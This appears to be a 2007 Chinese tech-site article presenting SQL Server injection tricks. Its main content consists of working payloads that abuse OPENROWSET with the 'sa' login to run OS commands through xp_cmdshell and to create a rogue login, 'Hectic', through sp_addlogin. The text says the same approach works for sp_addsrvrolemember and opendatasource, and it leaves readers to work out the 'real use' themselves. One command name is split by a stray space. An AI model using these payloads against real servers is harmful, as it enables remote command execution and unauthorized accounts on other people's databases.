科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道认识那些被忽略的SQL Server注入技巧(1)

认识那些被忽略的SQL Server注入技巧(1)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

文章主要讲术了一些SQL Server新的Bug,帮您认识这些被忽略的SQL Server注入技巧。

作者:knowsky.com 来源:knowsky.com 2007年9月1日

关键字: 数据库 技巧 SQL Server SQL Server 各版本

  • 评论
  • 分享微博
  • 分享邮件

文章主要讲术了一些SQL Server新的Bug,帮您认识这些被忽略的SQL Server注入技巧。

1.关于Openrowset和Opendatasource:

可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下:

select * from openrowset('sqloledb','myserver';'sa';'','select * from table')

可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。

那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!

select * from openrowset('sqloledb','server';'sa';'','set fmtonly off 

exec master.dbo.xp_cmdshel l ''dir c:\''')

必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。

那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作:

select * from openrowset
('sqloledb','server';'sa';'','select '
'OK!'' exec master.dbo.sp_addlogin Hectic')

这样,命令至少会返回select OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章